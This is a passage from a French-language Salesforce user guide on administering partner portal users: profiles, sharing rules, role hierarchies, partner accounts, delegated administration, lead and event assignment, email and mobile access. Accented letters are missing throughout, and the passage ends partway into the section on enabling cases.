
Grer les utilisateurs

Pour crer, modifier et supprimer des prsentations de page : Personnaliser l'application

Pour dfinir la scurit au niveau du champ :

Personnaliser l'application

Pour dfinir des rgles de partage :

Grer les utilisateurs

tant donn que les fonctionnalits de votre portail partenaire Salesforce.com sont similaires celles de Salesforce.com, vous
grez vos utilisateurs du portail partenaire de la mme faon que vous grez les utilisateurs de Salesforce.com. Comme pour
les utilisateurs Salesforce.com, vous utilisez les fonctionnalits suivantes pour grer les donnes, fonctions et objets auxquels
les utilisateurs de votre portail partenaire ont accs :

Les profils dfinissent les diffrentes fonctions qu'un utilisateur est autoris effectuer.
Les prsentations de page dterminent la prsentation et l'organisation des boutons, des champs, des commandes s-control,
des liens personnaliss et des listes associes sur les pages d'enregistrements.
La scurit au niveau du champ dfinit les champs auxquels les utilisateurs ont accs.
Les rles des utilisateurs contrlent le niveau de visibilit des utilisateurs sur vos donnes.
Les rgles de partage vous permettent de dsigner les groupes d'utilisateurs ayant accs aux donnes.

Examinez les consquences des lments suivants sur votre gestion des utilisateurs du portail partenaire :
Profils du portail partenaire
Le profil que vous attribuez un utilisateur du portail partenaire dfinit les autorisations dont il bnficie pour accomplir
diffrentes fonctions au sein du portail partenaire de votre entreprise (par exemple, visualiser, crer, modifier ou supprimer
des requtes et des enregistrements d'objet personnalis). Lorsque vous activez un portail partenaire, le profil de l'utilisateur
partenaire est cr automatiquement dans votre organisation. Le profil de l'utilisateur partenaire ne peut pas tre modifi.
Pour autoriser des utilisateurs partenaires se connecter au portail partenaire, crez des profils personnaliss clons
partir du profile de l'utilisateur partenaire. Pour chaque profil clon, assurez-vous que l'autorisation administrative

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1597

Utilisateur API uniquement n'est pas slectionne. Si elle est slectionne, les utilisateurs associs au profil ne

peuvent pas se connecter au portail partenaire. La fermeture de ces profiles vous permet aussi de crer des profiles
correspondants vos besoins spcifiques.
Rgles de partage du portail partenaire
Une fois votre portail partenaire activ, les groupes Tous les utilisateurs du portail partenaire et Tous les utilisateurs
internes sont crs avec la catgorie de rgles de partage Rles et subordonns internes . Le groupe Tous les
utilisateurs du portail partenaire contient automatiquement tous les utilisateurs du portail partenaire de votre organisation.
Le groupe Tous les utilisateurs internes contient automatiquement tous les utilisateurs Salesforce.com de votre
organisation. La catgorie de rgles de partage Rles et subordonns permet de crer des rgles de partage dans
lesquelles vous pouvez choisir des utilisateurs Salesforce.com de votre organisation par rle, plus tous les utilisateurs dans
un rle infrieur, en excluant les rles du portail partenaire et du portail PRM. Vous pouvez utiliser ces groupes et la
catgorie de rgles de partage pour crer aisment des rgles de partage qui offrent tous vos utilisateurs du portail
partenaire ou de Salesforce.com un accs des donnes spcifiques. Vous pouvez galement crer des rgles de partage
entre des utilisateurs du portail partenaire et des utilisateurs de Salesforce.com, mais pas entre des utilisateurs partenaires
associs diffrents comptes partenaires. Pour plus d'informations, reportez-vous Dfinition des rgles de partage la
page 177.
Hirarchie des rles du portail partenaire
Une hirarchie des rles des utilisateurs du portail est cre pour un compte et ses contacts lorsque vous activez le premier
utilisateur du portail partenaire sur ce compte. Le compte est ajout la hirarchie des rles en-dessous de l'utilisateur
qui possde ce compte. chaque fois que vous activez un contact comme utilisateur du portail partenaire, il est
automatiquement attribu au rle Utilisateur dans la hirarchie des rles du portail du compte.
Des comptes ayant diffrents types de portail possdent une hirarchie des rles distincte pour chaque portail. Les noms
des rles incluent le type de portail auquel ils sont associs. Par exemple, si le compte A est dot la fois d'un portail
partenaire et d'un portail Client, les rles pour le portail Client s'intitulent Utilisateur client du compte A et les rles
pour le portail partenaire, Utilisateur partenaire du compte A .
Les utilisateurs partenaires peuvent se voir attribuer l'un des trois rles suivants : Cadre partenaire, Responsable partenaire
ou Utilisateur partenaire. Dans la hirarchie des rles, le rle de cadre partenaire est directement rattach au rle de
responsable de canaux. Le rle de responsable partenaire est directement rattach au rle de cadre partenaire. Le rle
d'utilisateur partenaire est directement rattach au rle de responsable partenaire. Chaque rle comprend dans son nom
le nom du compte partenaire. titre d'exemple, si le nom du compte partenaire est Acme, les trois rles sont Cadre
partenaire Acme, Responsable partenaire Acme et Utilisateur partenaire Acme. Si la responsabilit d'un compte partenaire
est change au profit d'un autre responsable de canaux, le rle d'utilisateur partenaire est transfr cet emplacement
dans la hirarchie des rles.
Remarque: Veillez bien grer votre hirarchie des rles. Les utilisateurs partenaires, quel que soit le niveau de
leur rle, peuvent toujours accder toutes les donnes dtenues ou partages par les utilisateurs ayant des rles
qui leur sont rattachs dans la hirarchie, pour les afficher et les modifier, quel que soit le modle de partage de
votre entreprise. Utilisez les rapports administratifs pour la gestion des rles partenaires.
Tous les utilisateurs d'un rle d'utilisateur partenaire peuvent accder en lecture leur compte partenaire associ. Les
utilisateurs partenaires disposent d'un accs en lecture aux opportunits dtenues par des utilisateurs partenaires ayant
le mme rle. Les utilisateurs partenaires ont accs en lecture/criture aux tches associes n'importe quel objet auquel
ils peuvent avoir accs. Ils ont galement accs en lecture aux vnements associs n'importe quel objet auquel ils peuvent
accder.

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1598

Pour visualiser les rles attribus aux utilisateurs de votre portail partenaire, crez un rapport personnalis, choisissez
Rapports administratifs, slectionnez Utilisateurs comme type de donnes et ajoutez Rle aux colonnes de votre rapport.
Pour plus d'informations, reportez-vous Rapports administratifs la page 1707.
Licences utilisateur du portail partenaire
Les utilisateurs du portail partenaire n'ont pas accs toutes les fonctions dont dispose un utilisateur Salesforce.com. En
effet, les utilisateurs du portail partenaire se voient attribuer un type particulier de licence utilisateur. Les licences utilisateur
du portail partenaire permettent uniquement d'attribuer des utilisateurs du portail aux profils du portail partenaire
disponibles.

Cration de comptes partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour crer des comptes :

Autorisation de cration sur les comptes

Pour activer un compte partenaire :

Grer les partenaires

Les comptes partenaires sont des comptes professionnels, qu'un responsable de canaux utilisent pour grer les entreprises
partenaires, les utilisateurs partenaires et les activits. Chaque socit avec laquelle vous tablissez un partenariat doit tre
ajoute Salesforce.com en tant que compte professionnel. Les responsables de canaux sont associs aux comptes partenaires
par le biais de la responsabilit de compte. Un responsable de canaux qui possde un compte partenaire peut accder toutes
les informations et grer toutes les activits du compte partenaire, qui comprend les activits de tout utilisateur partenaire
associ ce compte. Il peut ainsi facilement rester au courant des activits partenaires.
Remarque: tant donn que le rle d'utilisateur partenaire est subordonn au rle de responsable de compte, toutes
les donnes du rle d'utilisateur partenaire sont transmises au rle de responsable de compte.
Pour crer un compte partenaire :
1. Crez un compte professionnel.
2. Cliquez ensuite sur Activer en tant que partenaire.
3. Une bote de dialogue de confirmation apparat. Slectionnez Oui, je souhaite activer ce compte en tant que compte
partenaire.
4. Cliquez sur Confirmer.
Remarque: Si votre entreprise dispose de comptes personnels, ces comptes ne peuvent pas tre utiliss comme comptes
partenaires. Seulement les comptes professionnels peuvent tre utiliss comme comptes partenaires.
Une fois que vous avez cr un compte partenaire, vous pouvez ajouter ce compte des utilisateurs partenaires, en tant
qu'enregistrements de contact. Les utilisateurs partenaires sont des utilisateurs Salesforce.com dont les attributions, limites,
sont axes sur la gestion des pistes. Les utilisateurs partenaires se connectent Salesforce.com via le portail.

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1599

Remarque: Il est impossible de supprimer les comptes partenaires.

Vous pouvez fusionner des comptes partenaires si vous disposez de l'autorisation de profil Grer les utilisateurs.

Cration d'utilisateurs partenaires

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier, invalider ou dsactiver des utilisateurs :

Grer les utilisateurs

Pour crer des contacts :

Autorisation de cration sur les contacts

Pour afficher des contacts :

Autorisation de lecture sur les contacts

Une fois que vous avez cr un compte partenaire, vous pouvez ajouter ce compte des utilisateurs partenaires, en tant
qu'enregistrements de contact. Les utilisateurs partenaires sont des utilisateurs Salesforce.com dont les attributions, limites,
sont axes sur la gestion des pistes. Les utilisateurs partenaires se connectent Salesforce.com via le portail.
Avant de crer des partenaires, vous devez configurer vos portails, sinon les utilisateurs partenaires risquent d'essayer de s'y
connecter avant qu'ils soient prts.
Pour crer un utilisateur partenaire :
1. Affichez le compte partenaire pour lequel crer un utilisateur partenaire.
2. Crez un contact pour l'utilisateur partenaire. Choisissez New dans la liste associe Contacts du compte partenaire.
Fournissez les dtails appropris, puis cliquez sur Enregistrer.
3. Sur la page des dtails des contacts, cliquez sur Activer la connexion au portail Partenaires.
4. Modifiez l'enregistrement utilisateur pour ce partenaire.
5. Cliquez sur Enregistrer.
Une fois un utilisateur partenaire cr, le compte partenaire et l'utilisateur partenaire peuvent tre modifis indpendamment.
Les modifications effectues sur l'un ne sont pas refltes sur l'autre.
Conseils pour la cration d'utilisateurs partenaires
Tenez compte des points suivants lorsque vous crez des utilisateurs partenaires :

Si vous avez activ un utilisateur en tant qu'administrateur dlgu, il ne peut pas crer d'utilisateur partenaire, sauf si au
moins un profil partenaire a t ajout la liste associe Profils pouvant tre affects et qu'il s'agit d'un utilisateur autoris
grer des utilisateurs .
Les profils disponibles pour l'utilisateur partenaire sont limits au profil des utilisateurs partenaires ou aux profils clons
partir de celui-ci. Contrairement au rle d'un utilisateur standard, le rle de l'utilisateur partenaire est automatiquement
attribu en fonction du nom de compte. tant donn que le rle d'utilisateur partenaire est subordonn au rle de responsable
de compte, toutes les donnes du rle d'utilisateur partenaire sont transmises au rle de responsable de compte.
Les contacts et les utilisateurs partenaires ne peuvent pas tre supprims. Si vous ne voulez plus qu'un utilisateur partenaire
ait accs au portail, dsactivez l'utilisateur partenaire. De plus, les contacts partenaires ne peuvent pas tre sous la responsabilit
d'un compte non partenaire.

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1600

Vous pouvez fusionner l'enregistrement d'un contact du portail avec un autre contact du portail.

Voir aussi :
Invalidation et dsactivation des utilisateurs du portail

Dlgation de l'administration des utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer les utilisateurs du portail partenaire :

Grer les partenaires

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Vous pouvez dlguer certains droits administratifs des utilisateurs partenaires disposant de la licence d'utilisateur partenaire
ou Gold (stratgique). Les administrateurs dlgus des utilisateurs du portail peuvent effectuer les actions suivantes pour les
utilisateurs associs leur propre compte :

Crer des utilisateurs partenaires

Modifier des utilisateurs partenaires
Rinitialiser les mots de passe des utilisateurs partenaires
Dsactiver des utilisateurs partenaires existants
Remarque: Lorsqu'un administrateur dlgu d'utilisateur du portail dsactive un utilisateur du portail, il ne peut
le retirer d'aucune quipe dont l'utilisateur est membre.

Pour dlguer les droits d'administration des utilisateurs du portail Partenaire :

1. Cliquez sur Configuration Gestion des utilisateurs Profils, puis cliquez sur un profil de partenaire personnalis.
Vous ne pouvez pas modifier le profil de l'utilisateur partenaire.
2.
3.
4.
5.
6.
7.

Cliquez sur Modifier.

Slectionner Administrateur dlgu d'utilisateur de portail.
Cliquez sur Enregistrer.
Cliquez sur Modifier dans la liste associe Profils des utilisateurs de portail dlgus.
Slectionnez les profils des utilisateurs partenaires que vous voulez autoriser administrer.
Cliquez sur Enregistrer.

Pour modifier les profils qu'un administrateur dlgu des utilisateurs du portail peut modifier :
1. Cliquez sur Configuration Gestion des utilisateurs Profils, puis cliquez sur un profil de partenaire personnalis.
Vous ne pouvez pas modifier le profil de l'utilisateur partenaire.
2. Cliquez sur Modifier dans la liste associe Profils des utilisateurs de portail dlgus.

Portail partenaire

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1601

3. Slectionnez les profils des utilisateurs partenaires que vous voulez autoriser administrer.
4. Cliquez sur Enregistrer.
Les administrateurs des utilisateurs du portail dlgus peuvent excuter les tches suivantes dans la page de dtails d'un
contact :

Cliquer sur Afficher l'utilisateur partenaire pour afficher les dtails de l'utilisateur du portail partenaire. Dans la page de
dtails d'un utilisateur du portail partenaire, les utilisateurs dlgus peuvent effectuer les oprations suivantes :
-

Cliquer sur Modifier pour modifier les informations de l'utilisateur du portail Partenaire.
Cliquer sur Rinitialiser le mot de passe pour rinitialiser le mot de passe de l'utilisateur du portail Partenaire.
Cliquer sur Modifier, puis dsactiver la case Actif pour dsactiver l'utilisateur.
Remarque: Les administrateurs dlgus d'utilisateurs partenaires peuvent mettre les utilisateurs du portail sur tout
compte vers lequel ils sont transfrs.

Conseils sur la configuration de l'administration dlgue des utilisateurs du portail

Tenez compte des points suivants lors de la configuration de l'administration dlgue des utilisateurs du portail :

Dans le profil d'utilisateurs auquel vous accordez l'administration dlgue du portail :

-

Ajoutez l'autorisation Administrateur dlgu d'utilisateur de portail.

Ajoutez les autorisations Crer et Modifier dans des contacts pour permettre aux administrateurs dlgus du portail
de crer et de mettre jour des contacts associs leur compte.
Dfinissez le paramtre d'onglet des Comptes et Contacts Valeur par dfaut active pour permettre aux
administrateurs dlgus du portail d'afficher les onglets Comptes et Contacts et de grer facilement les contacts associs
leurs comptes.
Pour plus d'informations sur les points ci-dessus, reportez-vous Cration et modification de profils la page 113.

Ajoutez les onglets Comptes et Contacts votre portail.

Dfinissez la scurit au niveau du champ et les prsentations de page de sorte que les administrateurs dlgus des utilisateurs
du portail accdent uniquement aux champs compte, contact et requte que vous spcifiez.

Voir aussi :
A propos de la gestion de lutilisateur du portail partenaire
Prsentation de la gestion des relations partenaires

Utilisation des utilisateurs partenaires

Disponible dans : Enterprise Edition et Unlimited Edition

Les responsables de canaux sont associs aux utilisateurs partenaires qu'ils grent en fonction de la responsabilit de compte.
Un responsable de canaux charg d'un compte partenaire peut accder toutes les informations et grer toutes les activits des
utilisateurs partenaires dots de ce compte.
Voici certaines tches courantes de gestion des utilisateurs partenaires :

Portail partenaire

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1602

Cration d'un compte partenaire

Activation et dsactivation de comptes partenaires
Cration d'utilisateurs partenaires
Invalidation et dsactivation des utilisateurs partenaires
Attribution de pistes aux utilisateurs partenaires
Attribution d'vnements aux utilisateurs partenaires
Affectation de requtes aux utilisateurs partenaires
Modification des informations sur les utilisateurs partenaires
Modification du compte associ un utilisateur partenaire
Fusion d'utilisateurs partenaires
Suivi des activits partenaires

Voici d'autres manires de travailler avec vos utilisateurs partenaires :

Attribuez des tches aux utilisateurs partenaires
Si vos utilisateurs partenaires disposent des paramtres appropris de scurit au niveau du champ, ils peuvent afficher
et crer des activits associes aux pistes ou aux opportunits.
Ajoutez des tches aux pistes ou aux opportunits afin de rappeler vos utilisateurs partenaires les tches particulires
que vous souhaitez qu'ils accomplissent. Vous pouvez afficher l'historique des activits pour une piste ou une opportunit
donne. Vous pouvez galement utiliser des rapports pour assurer le suivi des activits affectes aux utilisateurs partenaires.
Les utilisateurs partenaires peuvent uniquement affecter des tches d'autres utilisateurs de leur compte partenaire ou
leur responsable de canaux.
Utilisez des notes et des pices jointes pour communiquer avec les utilisateurs partenaires
Les utilisateurs partenaires peuvent crer, afficher et modifier des notes, ainsi qu'ajouter des pices jointes partir des
listes associes aux notes et aux pices jointes sur les pages de dtails slectionnes (pages de dtails des pistes, des
solutions, des opportunits, etc.). Vous pouvez utiliser des notes et des pices jointes pour partager des documents ou
des informations avec les utilisateurs partenaires.
La taille maximale d'un fichier joint est de 5 Mo.
Rinitialisez le mot de passe d'un utilisateur
Lorsque vous affichez la page de dtails des utilisateurs pour un utilisateur partenaire, vous pouvez cliquer sur Rinitialiser
le mot de passe pour rinitialiser le mot de passe de l'utilisateur partenaire.
Les utilisateurs partenaires peuvent rinitialiser leur mot de passe en cliquant sur Vous avez oubli votre mot de passe ?
sur la page de connexion au portail Partenaires.
Proposez une solution sur le portail
Sur la solution, slectionnez Visible dans le portail libre-service.
Ajoutez des produits aux opportunits
Si la liste associe aux produits est accessible aux utilisateurs partenaires au niveau des opportunits, vous pouvez ajouter
des produits aux opportunits de vos partenaires.
Cliquez sur Connexion en tant qu'utilisateur de portail pour procder au dpannage
Lorsque vous affichez la page de dtails des contacts pour un utilisateur partenaire, vous pouvez cliquer sur Se connecter
en tant qu'utilisateur de portail. Une nouvelle fentre de navigation apparat et vous permet de vous connecter au portail

Portail partenaire

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1603

en tant qu'utilisateur partenaire. Cliquez sur ce bouton pour dpanner tous les problmes qu'prouvent les utilisateurs
partenaires. Vous pouvez aussi cliquer sur ce bouton pour vrifier que votre portail est configur de faon approprie. Le
bouton Connexion en tant qu'utilisateur de portail n'est pas disponible si vous disposez le l'autorisation Grer les
partenaires et de l'une des autorisations suivantes : Modifier toutes les donnes ou accs Modifier au compte. Le
bouton Connexion en tant qu'utilisateur de portail ne s'affiche pas si vous ne remplissez pas ces exigences ou si l'utilisateur
du portail est inactif.
Fournissez des informations d'aide aux utilisateurs partenaires.
Tlchargez le document d'aide en ligne des utilisateurs du portail Partenaire, modifiez-le pour l'adapter l'apparence
et aux fonctions de votre portail avant de le distribuer aux utilisateurs de votre portail.

Voir aussi :
A propos de la gestion de lutilisateur du portail partenaire
Gestions des utilisateurs partenaires
A propos de la gestion de lutilisateur responsable de canal du portail partenaire
Dlgation de l'administration des utilisateurs partenaires
Meilleures pratiques du portail partenaire
Activation des e-mails dans le Portail partenaire
Affectation d'vnements aux utilisateurs partenaires
Activation de requtes dans le Portail partenaire

Attribution de pistes aux utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des pistes des partenaires :

Autorisation de modification sur les pistes

L'attribution des pistes constitue un aspect capital de la gestion des relations partenaires. Vos partenaires ne peuvent utiliser
que les pistes qui leur sont attribues. Il existe deux mthodes pour grer l'attribution des pistes aux utilisateurs partenaires :

Attribuer chaque piste un utilisateur partenaire spcifique

Attribuer les pistes une file d'attente de pistes et permettre aux utilisateurs partenaires de rclamer des pistes de cette file
d'attente

En outre, vous pouvez crer des rgles d'attribution de pistes qui attribuent automatiquement des pistes aux utilisateurs
partenaires ou aux files d'attente en fonction de certaines proprits de ces pistes.
Remarque: Les rgles d'attribution ne peuvent pas tre actives partir du portail.

L'attribution d'une piste un utilisateur partenaire ou une file d'attente de pistes partenaires revient attribuer un piste
n'importe quel autre utilisateur ou file d'attente.

Portail partenaire

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1604

Les pistes attribues directement un utilisateur ou une file d'attente, qui ne fait pas partie de l'ensemble de pistes, sont
rpertories dans l'onglet Pistes du portail. L'utilisateur partenaire peut y accder en slectionnant une vue de liste approprie.
Tant qu'un utilisateur partenaire n'a pas examin une piste, cette dernire apparat en gras dans la vue de liste Mes pistes non
lues.
Si une piste est attribue une file d'attente de l'ensemble de pistes, elle apparat dans la liste Pistes disponibles de l'onglet
Accueil du portail.
Conseil: Attribuez les pistes partenaires un seul utilisateur partenaire (responsable commercial, par exemple) du
compte partenaire de faon autoriser cette personne grer l'attribution des pistes des utilisateurs partenaires de ce
compte.

Voir aussi :
Gestion des files d'attente
Fusion des pistes en double
Prsentation de la gestion des relations partenaires

Affectation d'vnements aux utilisateurs partenaires

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des vnements des partenaires :

Modifier les vnements

Si vous avez ajout le calendrier la prsentation de page d'accueil pour les utilisateurs du portail partenaire, vous pouvez leur
affecter des vnements et les utilisateurs du portail partenaire autoriss modifier les vnements dans leur profil peuvent
crer et modifier leurs propres vnements. Pour plus d'informations sur l'ajout du calendrier au portail partenaire, consultez
la rubrique Personnalisation des onglets de votre portail partenaire. la page 1590 Pour plus d'informations sur la modification
des profils utilisateur, reportez-vous Cration et modification des profils la page 113. Notez que les fonctions d'vnement
et de calendrier suivantes ne sont pas prises en charge dans le portail partenaire: correction orthographique, mise jour des
vnements, vues tendues de liste, planification par glisser-dplacer, partage de calendrier et affichage des informations de
survol.
Pour affecter des vnements aux utilisateurs partenaires :
1. Commencez la cration d'un vnement en effectuant l'une des oprations suivantes :

Dans la liste droulante Crer de la barre latrale, cliquez sur vnement.

Dans la section Calendrier de l'onglet Accueil, cliquez sur Nouvel vnement.
Dans la liste associe Activits en cours d'un enregistrement associ, cliquez sur Nouvel vnement.
Dans la vue journalire du calendrier, cliquez sur une heure afin de crer un vnement cette heure. Vous pouvez
galement cliquer deux fois sur une priode pour entrer les informations de l'vnement dans un plan interactif. Notez
que votre administrateur contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour crer des
vnements dans les vues de calendrier la page 364.

Portail partenaire

Guide de l'utilisateur | Utilisation des utilisateurs partenaires | 1605

Dans la vue hebdomadaire du calendrier, cliquez sur l'icne Ajouter un vnement ( ) en regard d'une date pour crer
un vnement cette date. Vous pouvez galement cliquer deux fois sur une priode pour entrer les informations de
l'vnement dans un plan interactif. Notez que votre administrateur contrle l'accs la cration d'vnements en
cliquant. Voir Activer Cliquer pour crer des vnements dans les vues de calendrier la page 364.
Dans la vue mensuelle du calendrier, cliquez sur l'icne Ajouter un vnement ( ) en regard d'une date pour crer un
vnement cette date.
Dans un calendrier multi-utilisateur, slectionnez les utilisateurs inviter, puis cliquez sur Nouvel vnement.

2. Slectionnez Utilisateur partenaire dans la liste droulante Attribu , puis entrez le nom du partenaire ou cliquez sur
l'icne de recherche ( ) pour rechercher le partenaire.
3. Entrez les dtails de l'vnement, tels que son sujet, sa date et son heure de dbut, ainsi que sa date et son heure de fin. Si
des vnements jours multiples sont activs pour votre entreprise, vous pouvez crer des vnements d'une dure pouvant
atteindre 14 jours.
4. Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler le
contenu du champ Description. Notez que le bouton Vrifier l'orthographe doit tre activ sparment pour les
vnements et les tches la page 363. Le correcteur orthographique ne prend pas en charge toutes les langues prises en
charge par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le
Coren ou le Chinois, ne sont pas prises en charge.
Remarque: Le correcteur orthographique n'est pas pris en charge dans le portail partenaire.

5. Vous pouvez aussi slectionner Crer une srie d'vnements rcurrents pour spcifier la frquence de
rptition de l'vnement. Pour plus d'informations, reportez-vous Cration d'vnements rcurrents la page 1095.
Remarque: Chaque occurrence d'une srie d'vnements rcurrents ne doit pas durer plus de 24 heures. Une fois
la srie d'vnements rcurrents cre, vous pouvez prolonger la dure des occurrences individuelles au-del de 24
heures, si les vnements de plusieurs jours sont activs. Pour activer les vnements sur plusieurs journes,
reportez-vous Personnalisation des paramtres d'activit la page 677.
6. Vous pouvez ventuellement dfinir un rappel pour l'vnement en slectionnant Rappel et en dterminant quelle
chance, avant l'vnement, vous souhaitez tre prvenu.
Remarque: Les rappels ne sont pas pris en charge dans le portail partenaire.

7. Vous pouvez aussi cliquer sur Ajouter des invits pour faire de l'vnement un vnement de groupe auquel des utilisateurs,
des contacts, des pistes ou des ressources sont invits. Pour plus d'informations, reportez-vous Cration d'vnements
de groupe la page 1096.
8. Cliquez sur Enregistrer. Vous pouvez aussi cliquer sur Enregistrer et nouvelle tche pour enregistrer l'vnement et crer
une tche, ou sur Enregistrer et nouvel vnement pour enregistrer et crer un vnement supplmentaire.
L'utilisateur partenaire auquel est affect l'vnement peut afficher l'vnement depuis le portail partenaire. Pour plus
d'informations sur la manire dont vos partenaires peuvent crer et modifier des vnements dans le portail partenaire, tlchargez
l'Aide de l'utilisateur du portail partenaire.

Portail partenaire

Guide de l'utilisateur | propos de l'accs mobile pour les utilisateurs partenaires | 1606

Activation des e-mails dans le Portail partenaire

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour activer les e-mails dans le portail partenaire :

Grer les utilisateurs

L'activation des e-mails dans le portail partenaire permet aux utilisateurs partenaires d'envoyer des e-mails depuis la liste
associe Historiques des activits dans le portail partenaire. Par exemple, un utilisateur partenaire peut cliquer sur le bouton
Envoyer un e-mail dans la liste associe Historique des activits d'une piste pour envoyer un e-mail la piste et consigner
l'envoi dans la liste associe.
Pour activer des e-mails pour des utilisateurs partenaires :
1.
2.
3.
4.

Cliquez sur Configuration Gestion des utilisateurs Profils.

Cliquez sur Modifier en regard d'un profil d'utilisateur partenaire.
Cochez la case Envoyer un e-mail.
Cliquez sur Enregistrer.

Les utilisateurs partenaires affects ce profil peuvent envoyer un e-mail depuis le portail partenaire. Pour permettre aux
utilisateurs partenaires d'utiliser des modles d'e-mails, vous devez mettre les modles leur disposition.
Pour plus d'informations sur la manire dont vos utilisateurs partenaires peuvent utiliser des e-mails dans le portail partenaire,
tlchargez l'Aide de l'utilisateur du portail partenaire.

Voir aussi :
Utilisation des utilisateurs partenaires
A propos de la gestion de lutilisateur du portail partenaire

propos de l'accs mobile pour les utilisateurs partenaires

Disponible moyennant un cot supplmentaire dans : Enterprise Edition et Unlimited Edition

Vous pouvez permettre aux utilisateurs partenaires d'afficher et de modifier les donnes du portail partenaire sur leurs appareils
BlackBerry, iPhone, Treo ou Windows Mobile en utilisant l'application cliente Salesforce Mobile. En accordant aux
utilisateurs partenaires un accs mobile, vous leur permettez d'accder aux donnes de leur portail partenaire n'importe o et
n'importe quand.
Avant de configurer Salesforce Mobile pour permettre aux utilisateurs partenaires d'accder aux donnes du portail partenaire
sur leurs appareils mobile, vous devez configurer des comptes d'utilisateurs partenaires et acheter des licences mobiles pour
chaque utilisateur du portail partenaire qui va utiliser Salesforce Mobile. Les profils d'utilisateurs partenaires doivent tre

Portail partenaire

Guide de l'utilisateur | propos de l'accs mobile pour les utilisateurs partenaires | 1607

attribus au moins un portail partenaire pour qu'ils puissent utiliserSalesforce Mobile. Si un profil utilisateur est attribu
plusieurs portails partenaires, seul le premier portail partenaire est accessible via Salesforce Mobile.
Du fait des limitations de mmoire et de taille d'cran des appareils mobiles, Salesforce Mobile utilise des groupes de donnes,
ou des sous-groupes des donnes Salesforce.com, pour dterminer les informations disponibles pour les utilisateurs mobiles.
Les partenaires qui utilisent Salesforce Mobile peuvent uniquement afficher les objets qu'ils peuvent visualiser dans le portail
partenaire, mme si Salesforce Mobile est configur avec des groupes de donnes moins restrictifs. Inversement, vous pouvez
limiter l'accs aux donnes du portail partenaire en dfinissant des groupes de donnes Salesforce Mobile plus restrictifs.
Pour plus d'informations sur la configuration de l'accs mobile pour les utilisateurs partenaires, reportez-vous Configuration
de l'accs des utilisateurs partenaires.

Voir aussi :
Prsentation du portail partenaire
Prsentation de Salesforce Mobile
Gestion de configurations mobiles
Configuration de l'accs mobile pour les utilisateurs partenaires
Gestion de priphriques mobiles

Configuration de l'accs mobile pour les utilisateurs partenaires

Disponible moyennant un cot supplmentaire dans : ditions Enterprise et Unlimited

Autorisations utilisateur requises

Pour afficher les configurations mobiles, les jeux de donnes, Afficher la configuration
les appareils mobiles et les utilisateurs :
Pour crer, modifier ou supprimer des configurations mobiles Grer les configurations mobiles
et des jeux de donnes, des configurations mobiles l'essai,
modifier les proprits des objets mobiles et grer les vues
personnalises mobiles :

Vous pouvez autoriser les utilisateurs partenaires accder aux donnes du portail partenaire sur des appareils mobiles en
utilisant l'application Salesforce Mobile.
Conseils de configuration de l'accs mobile pour les utilisateurs partenaires :

Avant de configurer Salesforce Mobile pour permettre aux utilisateurs partenaires d'accder aux donnes du portail partenaire
sur leurs appareils mobile, vous devez configurer des comptes d'utilisateurs partenaires et acheter des licences mobiles pour
chaque utilisateur du portail partenaire qui va utiliser Salesforce Mobile. Les profils d'utilisateurs partenaires doivent tre
attribus au moins un portail partenaire pour qu'ils puissent utiliserSalesforce Mobile. Si un profil utilisateur est attribu
plusieurs portails partenaires, seul le premier portail partenaire est accessible via Salesforce Mobile.

Les vues de liste personnalises mobiles n'affectent pas les vues de liste du portail partenaire.
Si vous rendez disponibles des groupes de donnes utilisateur dans Salesforce Mobile, les partenaires peuvent affecter des
objets aux utilisateurs des comptes partenaires et tous les utilisateurs internes. Dans le cas contraire, les partenaires peuvent

Portail partenaire

Guide de l'utilisateur | Activation de requtes dans le Portail partenaire | 1608

uniquement affecter des objets aux utilisateurs internes et aux comptes partenaires associs aux enregistrements que vous
avez rendu disponibles sur l'appareil mobile.
Pour configurer l'accs mobile pour les utilisateurs partenaires :
1.
2.
3.
4.
5.
6.
7.

Installez l'application cliente Salesforce Mobile.

Autorisez les utilisateurs utiliser Salesforce Mobile.
Dfinissez les groupes de donnes rendre disponibles pour les utilisateurs partenaires sur les appareils mobiles.
Testez la configuration mobile pour vrifier que les groupes de donnes sont correctement configurs.
Personnalisez ou limitez ventuellement les objets disponibles dans Salesforce Mobile.
Crez ventuellement des vues de liste personnalises.
Envoyez aux utilisateurs partenaires un e-mail contenant les instructions d'utilisation de Salesforce Mobile.

Voir aussi :
Prsentation du portail partenaire
propos de l'accs mobile pour les utilisateurs partenaires
Prsentation de Salesforce Mobile
Gestion de configurations mobiles
Gestion de priphriques mobiles

Activation de requtes dans le Portail partenaire

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour activer des requtes pour des utilisateurs partenaires :

Grer les utilisateurs

Lorsque vous activez des requtes dans le portail partenaire, vous pouvez attribuer des requtes des utilisateurs partenaires
directement ou en utilisant des rgles d'attribution ou de hirarchisation. Les utilisateurs partenaires peuvent modifier des
requtes, crer des requtes, ajouter des commentaires de requte, rattribuer des requtes, trouver des solutions des requtes
et crer des quipes de requtes. Les utilisateurs partenaires ne peuvent pas modifier des commentaires de requte ou associer
des actifs des requtes.
Remarque: L'onglet Requtes n'est disponible que pour les utilisateurs partenaires disposant d'une licence Partenaire
Gold ou Partenaire.
Pour activer des requtes dans le portail partenaire :
